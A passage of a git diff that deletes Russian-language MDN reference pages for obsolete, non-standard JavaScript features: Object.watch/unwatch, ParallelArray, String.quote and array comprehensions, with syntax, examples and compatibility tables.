- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div class="note">
- <p><strong>Примечание:</strong> вызов <code>unwatch()</code> на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.</p>
-</div>
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li>{{jsxref("Object.watch()")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/watch/index.html b/files/ru/web/javascript/reference/global_objects/object/watch/index.html
deleted file mode 100644
index 8f4a3d5b99..0000000000
--- a/files/ru/web/javascript/reference/global_objects/object/watch/index.html
+++ /dev/null
@@ -1,168 +0,0 @@
----
-title: Object.prototype.watch()
-slug: Web/JavaScript/Reference/Global_Objects/Object/watch
-tags:
- - JavaScript
- - Method
- - Non-standard
- - Object
- - Prototype
-translation_of: Archive/Web/JavaScript/Object.watch
----
-<div>
- {{JSRef("Global_Objects", "Object")}}</div>
-<div class="warning">
- <p><strong>Предупреждение:</strong> обычно, при возможности, вам следует избегать использования <code>watch()</code> и {{jsxref("Object.prototype.unwatch", "unwatch()")}}. Эти два метода реализованы только в Gecko, и они, в основном, предназначены только для отладочных целей. Кроме того, использование точек наблюдения серьёзно бъёт по производительности, что особенно заметно при использовании их на глобальных объектах, например <code>window</code>. Обычно вместо них вы можете использовать <a href="/ru/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">сеттеры и геттеры</a> или прокси. Для более подробной информации смотрите раздел {{anch("Browser_compatibility", "Совместимость с браузерами")}}. Также, не путайте {{jsxref("Object.prototype.watch", "Object.watch")}} с {{jsxref("Object.prototype.observe", "Object.observe")}}.</p>
-</div>
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Метод <code><strong>watch()</strong></code> следит за присваиванием свойству значений и запускает указанную функцию, когда это происходит.</p>
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>obj</var>.watch(<var>prop</var>, <var>handler</var>)</code></pre>
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-<dl>
- <dt>
- <code>prop</code></dt>
- <dd>
- Имя свойства объекта, чьи изменения вы хотите отслеживать.</dd>
- <dt>
- <code>handler</code></dt>
- <dd>
- Функция, вызывающаяся при изменении значения указанного свойства.</dd>
-</dl>
-<h2 id="Description" name="Description">Описание</h2>
-<p>Следит за присваиваниями свойству <code>prop</code> в этом объекте, вызывая функцию <code>handler(prop, oldval, newval)</code> всякий раз, когда свойство <code>prop</code> устанавливается и сохраняет возвращённое значение в этом свойстве. Точка наблюдения может отфильтровывать (или отменять) присваивание значения, возвращая изменённое новое значение <code>newval</code> (или старое значение <code>oldval</code>).</p>
-<p>Если вы удалите свойство, для которого была установлена точка наблюдения, эта точка наблюдения не будет отключена. Если вы позже вновь создадите это свойство, точка наблюдения продолжит работать.</p>
-<p>Для удаления точки наблюдения используйте метод {{jsxref("Object.unwatch", "unwatch()")}}. По умолчанию, метод <code>watch</code> наследуется каждым объектом, произошедшим от {{jsxref("Global_Objects/Object", "Object")}}.</p>
-<p>Отладчик JavaScript имеет функциональность, аналогичную предоставляемой этим методом, а также и другие возможности отладки. Информацию по отладчику можно получить в статье про <a href="/ru/docs/Venkman">Venkman</a>.</p>
-<p>В Firefox, функция <code>handler</code> вызывает только при присваивании из скрипта, не из встроенного кода. Например, <code>window.watch('location', myHandler)</code> не вызовет <code>myHandler</code>, если пользователь щёлкнет по ссылке с якорем в текущем документе. Однако, выражение <code>window.location += '#myAnchor'</code> вызовет <code>myHandler</code>.</p>
-<div class="note">
- <p><strong>Примечание:</strong> вызов <code>watch()</code> на объекте для определённого свойства перезапишет любые ранее назначенные на него обработчики.</p>
-</div>
-<h2 id="Examples" name="Examples">Примеры</h2>
-<h3 id="Example:_Using_watch_and_unwatch" name="Example:_Using_watch_and_unwatch">Пример: использование <code>watch</code> и <code>unwatch</code></h3>
-<pre class="brush: js">var o = { p: 1 };
-
-o.watch('p', function (id, oldval, newval) {
- console.log('o.' + id + ' изменено с ' + oldval + ' на ' + newval);
- return newval;
-});
-
-o.p = 2;
-o.p = 3;
-delete o.p;
-o.p = 4;
-
-o.unwatch('p');
-o.p = 5;
-</pre>
-<p>Этот скрипт выведет следующее:</p>
-<pre>o.p изменено с 1 на 2
-o.p изменено с 2 на 3
-o.p изменено с undefined на 4
-</pre>
-<h3 id="Example:_Using_watch_to_validate_an_object.27s_properties" name="Example:_Using_watch_to_validate_an_object.27s_properties">Пример: использование <code>watch</code> для проверки свойств объекта</h3>
-<p>Вы можете использовать <code>watch</code> для проверки присваивания к любым свойствам объекта. Этот пример гарантирует, что каждый человек имеет допустимое имя и возраст между 0 и 200.</p>
-<pre class="brush: js">Person = function(name, age) {
- this.watch('age', Person.prototype._isValidAssignment);
- this.watch('name', Person.prototype._isValidAssignment);
- this.name = name;
- this.age = age;
-};
-
-Person.prototype.toString = function() {
- return this.name + ', ' + this.age;
-};
-
-Person.prototype._isValidAssignment = function(id, oldval, newval) {
- if (id === 'name' &amp;&amp; (!newval || newval.length &gt; 30)) {
- throw new RangeError('недопустимое имя для ' + this);
- }
- if (id === 'age' &amp;&amp; (newval &lt; 0 || newval &gt; 200)) {
- throw new RangeError('недопустимый возраст для ' + this);
- }
- return newval;
-}
-
-will = new Person('Уилл', 29);
-print(will); // Уилл, 29
-
-try {
- will.name = '';
-} catch (e) {
- print(e);
-}
-
-try {
- will.age = -4;
-} catch (e) {
- print(e);
-}
-</pre>
-<p>Этот скрипт выведет следующее:</p>
-<pre>Уилл, 29
-RangeError: недопустимое имя для Уилл, 29
-RangeError: недопустимый возраст для Уилл, 29
-</pre>
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.2.</p>
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<ul>
- <li>Этот <a class="external link-https" href="https://gist.github.com/384583">полифилл</a> предлагает <code>watch</code> для всех совместимых с ES5 браузеров</li>
- <li>Использование объекта {{jsxref("Global_Objects/Proxy", "Proxy")}} позволяет вам сделать ещё более глубокие изменения при присваивании свойств</li>
-</ul>
-<div>
- {{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div class="note">
- <p><strong>Примечание:</strong> вызов <code>watch()</code> на объекте {{domxref("Document")}}, начиная с Firefox 23, выбрасывает исключение {{jsxref("Global_Objects/TypeError", "TypeError")}} ({{bug(903332)}}). Эта регрессия была поправлена в Firefox 27.</p>
-</div>
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li>{{jsxref("Object.unwatch()")}}</li>
- <li>{{jsxref("Object.observe()")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/parallelarray/index.html b/files/ru/web/javascript/reference/global_objects/parallelarray/index.html
deleted file mode 100644
index ca96e4c0fa..0000000000
--- a/files/ru/web/javascript/reference/global_objects/parallelarray/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
----
-title: ParallelArray
-slug: Web/JavaScript/Reference/Global_Objects/ParallelArray
-translation_of: Archive/Web/ParallelArray
----
-<p>{{jsSidebar("Objects")}} {{ obsolete_header() }}</p>
-<div class="note">
- <p><strong>Note:</strong> This object was implemented in Firefox 17 and has been removed from {{ Gecko(29) }} in favor of ParallelJS (PJS) currently available in the Nightly channel ({{ bug(944074) }}).</p>
-</div>
-<h2 id="Сводка">Сводка</h2>
-<p>Целью ParallelArray является распараллеливание данных в веб-приложениях. Все функции, которые доступны на простом массиве могут исполняться параллельно на ParallelArray, при необходимости можно вернуться к последовательному исполнению. Чтобы убедиться что ваш код исполняется параллельно, it is suggested that the functions should be limited to the <a href="http://smallcultfollowing.com/babysteps/blog/2013/04/30/parallelizable-javascript-subset/" title="/en-US/docs/ParallelizableJavaScriptSubset">parallelizable subset of JS that Firefox supports</a>.</p>
-<h2 id="Синтаксис">Синтаксис</h2>
-<pre class="syntaxbox">new ParallelArray()
-new ParallelArray([element0, element1, ...])
-new ParallelArray(arrayLength, elementalFunction)</pre>
-<h2 id="Экземпляры_ParallelArray"><code>Экземпляры ParallelArray</code></h2>
-<h3 id="Свойства">Свойства</h3>
-<dl>
- <dt>
- length</dt>
- <dd>
- Возвращает количество элементов в <code>ParallelArray</code>.</dd>
-</dl>
-<h3 id="Методы">Методы</h3>
-<dl>
- <dt>
- map</dt>
- <dt>
- reduce</dt>
- <dt>
- scan</dt>
- <dt>
- scatter</dt>
- <dt>
- filter</dt>
- <dt>
- flatten</dt>
- <dt>
- partition</dt>
- <dt>
- get</dt>
-</dl>
-<h2 id="Примеры">Примеры</h2>
-<h3 id="Пример_Использование_метода_map_параллельно">Пример: Использование метода map параллельно</h3>
-<pre class="brush: js">var p = new ParallelArray([0, 1, 2, 3, 4]);
-var m = p.map(function (v) {
- return v + 1;
-});</pre>
-<h2 id="Смотрите_также">Смотрите также</h2>
-<ul>
- <li><a href="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism" title="http://wiki.ecmascript.org/doku.php?id=strawman:data_parallelism">Ecmascript ParallelArray strawman</a></li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/quote/index.html b/files/ru/web/javascript/reference/global_objects/string/quote/index.html
deleted file mode 100644
index 367f9f6eb7..0000000000
--- a/files/ru/web/javascript/reference/global_objects/string/quote/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: String.prototype.quote()
-slug: Web/JavaScript/Reference/Global_Objects/String/quote
-tags:
- - JavaScript
- - Method
- - Obsolete
- - Prototype
- - Reference
- - Référence(2)
- - String
-translation_of: Archive/Web/JavaScript/String.quote
----
-<div>{{obsolete_header("37")}}</div>
-
-<div>{{JSRef("Global_Objects", "String")}} {{non-standard_header}}</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-
-<p>Нестандартный метод <strong><code>quote()</code></strong> возвращает копию строки, заменяя различные специальные символы в строке их управляющими последовательностями и заключая результат в двойные кавычки (<code>"</code>).</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox"><code><var>str</var>.quote()</code></pre>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<p>В таблице ниже метод <code>quote()</code> заменяет любые специальные символы и заключает строку в двойные кавычки. Также обратите внимание на третью колонку, в которой функция {{jsxref("Global_Objects/eval", "eval()")}} снова вычисляет управляющие последовательности.</p>
-
-<table class="fullwidth-table">
- <thead>
- <tr>
- <th class="header" scope="col"><code>str</code></th>
- <th class="header" scope="col"><code>str.quote()</code></th>
- <th class="header" scope="col"><code>eval(str.quote())</code></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>Hello world!</code></td>
- <td><code>"Hello world!"</code></td>
- <td><code>Hello world!</code></td>
- </tr>
- <tr>
- <td><code style="white-space: pre;">Hello<br>
- world!</code></td>
- <td><code>"Hello\n\tworld!"</code></td>
- <td><code style="white-space: pre;">Hello<br>
- world!</code></td>
- </tr>
- <tr>
- <td><code>" \ — '</code></td>
- <td><code>"\" \\ \u2014 '"</code></td>
- <td><code>" \ — '</code></td>
- </tr>
- <tr>
- <td><code>Привет, мир!</code></td>
- <td><code>"\u041F\u0440\u0438\u0432\u0435\u0442, \u043C\u0438\u0440!"</code></td>
- <td><code>Привет, мир!</code></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-
-<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("JSON.stringify()")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/operators/array_comprehensions/index.html b/files/ru/web/javascript/reference/operators/array_comprehensions/index.html
deleted file mode 100644
index c2bed1585e..0000000000
--- a/files/ru/web/javascript/reference/operators/array_comprehensions/index.html
+++ /dev/null
@@ -1,241 +0,0 @@
----
-title: Упрощенный синтаксис создания массивов
-slug: Web/JavaScript/Reference/Operators/Array_comprehensions
-translation_of: Archive/Web/JavaScript/Array_comprehensions
----
-<div class="warning"><strong>Non-standard. Do not use!</strong><br>
-Сокращенный синтаксис создания массивов не стандартен. В будущем используйте {{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "Стрелочные функции", "", 1)}} и {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.</div>
-
-<div>{{jsSidebar("Operators")}}</div>
-
-<p>Синтаксис <strong>array comprehension</strong> - это JavaScript-выражение, которое позволяет быстро создавать новый массив из существующего. Аналогичные сокращения существуют во многих других языках программирования.</p>
-
-<p><a href="##Differences_to_the_older_JS1.7.2FJS1.8_comprehensions">Ниже</a> показаны различия со старым синтаксисом Array Comprehension в SpiderMonkey, основанном на черновиках для ECMAScript 4.</p>
-
-<h2 id="Синтаксис">Синтаксис</h2>
-
-<pre class="syntaxbox">[for (x of итерируемый_объект) x]
-[for (x of итерируемый_объект) if (условие) x]
-[for (x of итерируемый_объект) for (y of итерируемый_объект) x + y]
-</pre>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Внутри сокращения допустимо использование двух видов компонентов:</p>
-
-<ul>
- <li>{{jsxref("Statements/for...of", "for...of")}} и</li>
- <li>{{jsxref("Statements/if...else", "if")}}</li>
-</ul>
-
-<p>Итерация for-of всегда является первым компонентом. Допустимо использование нескольких for-of итераций или условных операторов if.</p>
-
-<p>Сокращённый синтаксис создания массивов был предложен к стандартизации в ECMAScript 2016, он предоставлял удобный сокращения для создания новых массивов из других массивов. Сокращения могут быть использованы вместо вызовов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} или их комбинаций.</p>
-
-<p>Следующий пример показывает, как из массива чисел создаётся новый массив чисел с с удвоенным значением.</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
-<span class="keyword token">var</span> doubled <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
-console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>doubled<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 2,4,6,8</span></code></pre>
-
-<p>Это эквивалентно следующей операции с {{jsxref("Array.prototype.map", "map()")}}:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> doubled <span class="operator token">=</span> numbers<span class="punctuation token">.</span><span class="function token">map</span><span class="punctuation token">(</span>i <span class="operator token">=</span><span class="operator token">&gt;</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-
-<p>Сокращённый синтаксис может быть использован также для выбора элементов по определённому условию. Вывод четных чисел:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">21</span><span class="punctuation token">,</span> <span class="number token">22</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
-<span class="keyword token">var</span> evens <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span> i<span class="punctuation token">]</span><span class="punctuation token">;</span>
-console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>evens<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 2,22,30</span></code></pre>
-
-<p>{{jsxref("Array.prototype.filter", "filter()")}} может использоваться для той же цели:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> evens <span class="operator token">=</span> numbers<span class="punctuation token">.</span><span class="function token">filter</span><span class="punctuation token">(</span>i <span class="operator token">=</span><span class="operator token">&gt;</span> i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
-
-<p>Стили операторов {{jsxref("Array.prototype.map", "map()")}} и {{jsxref("Array.prototype.filter", "filter()")}} можно одновременно использовать в одном сокращённом выражении. Далее фильтруются только четные числа, а затем создаётся массив с их удвоенным значением:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">21</span><span class="punctuation token">,</span> <span class="number token">22</span><span class="punctuation token">,</span> <span class="number token">30</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
-<span class="keyword token">var</span> doubledEvens <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="keyword token">of</span> numbers<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>i <span class="operator token">%</span> <span class="number token">2</span> <span class="operator token">===</span> <span class="number token">0</span><span class="punctuation token">)</span> i <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
-console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>doubledEvens<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 4,44,60</span></code></pre>
-
-<p>Квадратные скобки обозначают неявный блок. Новый переменные (такие как  "<strong>i"</strong> в примере выше) трактуются, как если бы они объявлялись с использованием {{jsxref("Statements/let","let")}}. Это значит, что эти переменные недоступны извне.</p>
-
-<p>Входными данными необязательно может быть массив; также можно использовать <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators" title="en-US/docs/JavaScript/Guide/Iterators and Generators">итераторы и генераторы</a>.</p>
-
-<p>Даже строки могут подаваться на вход; можно делать то же, что с <code>filter</code> и <code>map</code> (но с массивоподобными объектами):</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> str <span class="operator token">=</span> <span class="string token">'abcdef'</span><span class="punctuation token">;</span>
-<span class="keyword token">var</span> consonantsOnlyStr <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>c <span class="keyword token">of</span> str<span class="punctuation token">)</span> <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="punctuation token">(</span><span class="regex token">/[aeiouAEIOU]/</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">test</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span><span class="punctuation token">)</span> c<span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 'bcdf'</span>
-<span class="keyword token">var</span> interpolatedZeros <span class="operator token">=</span> <span class="punctuation token">[</span><span class="keyword token">for</span> <span class="punctuation token">(</span>c <span class="keyword token">of</span> str<span class="punctuation token">)</span> c <span class="operator token">+</span> <span class="string token">'0'</span> <span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 'a0b0c0d0e0f0'</span></code></pre>
-
-<p>Для предупреждения конвертации в число (в данном конкретном примере) использвалась функция {{jsxref("Array.prototype.join", "join()")}}.</p>
-
-<h2 id="Примеры">Примеры</h2>
-
-<h3 id="Простые_сокращения">Простые сокращения</h3>
-
-<pre class="brush:js">[for (i of [ 1, 2, 3 ]) i*i ];
-// [ 1, 4, 9 ]
-
-var abc = [ "A", "B", "C" ];
-[for (letters of abc) letters.toLowerCase()];
-// [ "a", "b", "c" ]</pre>
-
-<h3 id="Сокращения_с_условным_оператором_if">Сокращения с условным оператором "if"</h3>
-
-<pre class="brush: js">var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
-[for (year of years) if (year &gt; 2000) year];
-// [ 2006, 2010, 2014 ]
-[for (year of years) if (year &gt; 2000) if(year &lt; 2010) year];
-// [ 2006], the same as below:
-[for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year];
-// [ 2006]
-</pre>
-
-<h3 id="Сокращения_в_сравнении_с_map_и_filter">Сокращения в сравнении с <code>map</code> и <code>filter</code></h3>
-
-<p>Простой способ понять синтаксис Array Comprehension - это сравнить его с методами Array {{jsxref("Array.map", "map")}} и {{jsxref("Array.filter", "filter")}}:</p>
-
-<pre class="brush: js">var numbers = [ 1, 2, 3 ];
-
-numbers.map(function (i) { return i * i });
-numbers.map(i =&gt; i*i);
-[for (i of numbers) i*i ];
-// all are [ 1, 4, 9 ]
-
-numbers.filter(function (i) { return i &lt; 3 });
-numbers.filter(i =&gt; i &lt; 3);
-[for (i of numbers) if (i &lt; 3) i];
-// all are [ 1, 2 ]
-</pre>
-
-<h3 id="Сокращения_с_двумя_массивами">Сокращения с двумя массивами</h3>
-
-<p>Использование двух итераторов for-of для работы с двумя массивами:</p>
-
-<pre class="brush: js">var numbers = [ 1, 2, 3 ];
-var letters = [ "a", "b", "c" ];
-
-var cross = [for (i of numbers) for (j of letters) i+j];
-// [ "1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c" ]
-
-var grid = [for (i of numbers) [for (j of letters) i+j]];
-// [
-// ["1a", "1b", "1c"],
-// ["2a", "2b", "2c"],
-// ["3a", "3b", "3c"]
-// ]
-
-[for (i of numbers) if (i &gt; 1) for (j of letters) if(j &gt; "a") i+j]
-// ["2b", "2c", "3b", "3c"], the same as below:
-
-[for (i of numbers) for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]
-// ["2b", "2c", "3b", "3c"]
-
-[for (i of numbers) if (i &gt; 1) [for (j of letters) if(j &gt; "a") i+j]]
-// [["2b", "2c"], ["3b", "3c"]], not the same as below:
-
-[for (i of numbers) [for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]]
-// [[], ["2b", "2c"], ["3b", "3c"]]
-</pre>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p>Изначально было в черновике ECMAScript 2015, но исключено в ревизии 27 (Август 2014). Смотрите старые ревизии ES2015 для уточнения семантики.</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{ CompatGeckoDesktop("30") }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{ CompatGeckoMobile("30") }}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Специфика_работы_SpiderMonkey">Специфика работы SpiderMonkey</h2>
-
-<ul>
- <li>{{jsxref("Statements/let", "let")}} не поддерживается как идентификатор, так как он доступен только в  JS версии 1.7 и XUL-скриптах.</li>
- <li>Деструктуризация сокращений не поддерживается ({{bug(980828)}}).</li>
-</ul>
-
-<h2 id="Отличия_от_старой_версии_JS1.7JS1.8"><a id="#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions" name="#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions"></a>Отличия от старой версии JS1.7/JS1.8</h2>
-
-<div class="warning">Сокращения из JS1.7/JS1.8 были исключены из движка Gecko, начиная с версии 46 ({{bug(1220564)}}).</div>
-
-<p><strong>Старый синтаксис (не используйте его больше!):</strong></p>
-
-<pre class="brush: js example-bad line-numbers language-js"><code class="language-js"><span class="punctuation token">[</span>X <span class="keyword token">for</span> <span class="punctuation token">(</span>Y <span class="keyword token">in</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span>
-<span class="punctuation token">[</span>X <span class="keyword token">for</span> each <span class="punctuation token">(</span>Y <span class="keyword token">in</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span>
-<span class="punctuation token">[</span>X <span class="keyword token">for</span> <span class="punctuation token">(</span>Y <span class="keyword token">of</span> Z<span class="punctuation token">)</span><span class="punctuation token">]</span></code></pre>
-
-<p>Различия:</p>
-
-<ul>
- <li>Сокращения в ESNext создают одну область для элемента "for" вместо области для всех элементов for в целом.
- <ul>
- <li>Old: <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
- <li>New: <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, каждая итерация создаёт свежую связку с x. </code></li>
- </ul>
- </li>
- <li>Сокращения в ESNext начинаются с "for" вместо присваиваемой переменной.
- <ul>
- <li>Old: <code>[i * 2 for (i of numbers)]</code></li>
- <li>New: <code>[for (i of numbers) i * 2]</code></li>
- </ul>
- </li>
- <li>Сокращения в ESNext могут иметь несколько компонентов <code>if</code> и <code>for</code>.</li>
- <li>Сокращения в ESNext работают только с итерациями вида <code>{{jsxref("Statements/for...of", "for...of")}}</code> и не работают с <code>{{jsxref("Statements/for...in", "for...in")}}</code>.</li>
-</ul>
-
-<p>Смотрите <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1220564#c42">Bug 1220564, comment 42</a> для внесения предложений по коду.</p>
-
